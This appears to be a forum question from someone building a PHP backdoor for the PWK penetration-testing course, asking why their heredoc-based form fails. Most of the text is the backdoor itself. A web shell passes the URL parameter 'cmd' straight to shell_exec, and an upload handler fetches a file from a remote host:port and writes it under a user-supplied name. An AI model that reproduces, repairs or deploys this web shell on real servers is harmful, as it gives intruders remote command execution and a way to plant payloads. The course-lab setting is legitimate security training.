NOTE: For those who did point it out. Yes, the code uses insecure functions shell_exec
with GET
. This is intentional. The script is part a PHP backdoor that I am using as part of the PWK course.
if ($_GET['cmd']) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
The rest of the script implements some very basic authentication before this function is reached.
I have a php
function that I want to use to return a basic view/form with two input fields and supporting PHP logic in two if
statements.
The issue that I have is that in the current form the PHP displays two errors:
syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING)
on theif ($_POST['upload'])
.Unexpected 'Unknown'.
on each of theupload
andcmd
variables
I have tried to do the method as below but the script seems to be breaking somewhere in the HTML or at the start of the PHP as functions below this are affected too.
function displayForm() {
return <<<HTML
<html>
<body>
<h1>somestuff</h1>
</body>
</html>
HTML;
}
How can I fix this so that the form and logic are returned properly to the user?
Full function...
function displayForm() {
return <<<HTML
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<p> File: <input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload" name="upload">
</form>
<br><br>
<form method="GET">
<p>CMD: <input type="text" name="command">
<input type="submit" value="Exec" name="cmd">
</form>
<pre>
<?
if ($_POST['upload']) {
file_put_contents($_POST['upload'], file_get_contents("http://$host:$port/" . $_POST['upload']));
}
if ($_GET['cmd']) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
</pre>
</body>
</html>
HTML;
}